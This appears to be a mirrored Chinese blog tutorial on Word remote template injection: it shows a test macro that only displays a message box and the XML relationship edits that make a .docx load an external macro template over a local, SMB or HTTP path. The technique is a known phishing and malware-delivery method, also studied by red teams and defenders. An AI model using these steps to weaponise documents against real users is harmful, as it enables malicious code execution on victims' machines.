zoukankan      html  css  js  c++  java
  • Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。

    1.创建一个启用宏的模板

      打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。

    Sub Document_Open()
    
    MsgBox "模板注入测试"
    End Sub
    

      保存为带宏的模板即可。

    2.创建被注入文档

      接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    		<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    			<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    			Target="file://x:your	emplatefilepath"
    			TargetMode="External"/>
    		</Relationships>
    

      Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。

      记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。

      回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>

      最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。

      最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。

  • 相关阅读:
    好的Qt学习资料
    QT QMap介绍与使用
    Qt缺少调试器
    vs2012+Qt5.3.1环境添加新的ui界面的方法
    QT定时器的使用
    Qt中forward declaration of struct Ui::xxx的解决
    linux-svn命令
    如何编写Windows服务
    为你的爬虫提提速?
    Python爬虫的N种姿势
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/14461290.html
Copyright © 2011-2022 走看看